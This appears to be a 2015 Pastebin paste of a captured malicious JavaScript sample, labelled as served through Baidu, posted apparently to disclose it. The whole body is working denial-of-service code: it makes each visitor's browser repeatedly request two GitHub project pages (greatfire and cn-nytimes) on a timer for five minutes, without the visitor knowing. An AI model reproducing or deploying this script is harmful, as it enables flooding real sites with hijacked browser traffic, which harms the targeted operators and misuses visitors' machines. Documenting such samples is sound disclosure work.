Advertisement
Guest User

Malicious Baidu JavaScript

a guest
Mar 30th, 2015
5,866
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
  2. !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
  3. startime = (new Date).getTime();
  4. var count = 0;
  5.  
  6. function unixtime() {
  7.     var a = new Date;
  8.     return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
  9. }
  10. url_array = ["https://github.com/greatfire", "https://github.com/cn-nytimes"];
  11. NUM = url_array.length;
  12.  
  13. function r_send2() {
  14.     var a = unixtime() % NUM;
  15.     get(url_array[a])
  16. }
  17.  
  18. function get(a) {
  19.     var b;
  20.     $.ajax({
  21.         url: a,
  22.         dataType: "script",
  23.         timeout: 1E4,
  24.         cache: !0,
  25.         beforeSend: function() {
  26.             requestTime = (new Date).getTime()
  27.         },
  28.         complete: function() {
  29.             responseTime = (new Date).getTime();
  30.             b = Math.floor(responseTime - requestTime);
  31.             3E5 > responseTime - startime && (r_send(b), count += 1)
  32.         }
  33.     })
  34. }
  35.  
  36. function r_send(a) {
  37.     setTimeout("r_send2()", a)
  38. }
  39. setTimeout("r_send2()", 2E3);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement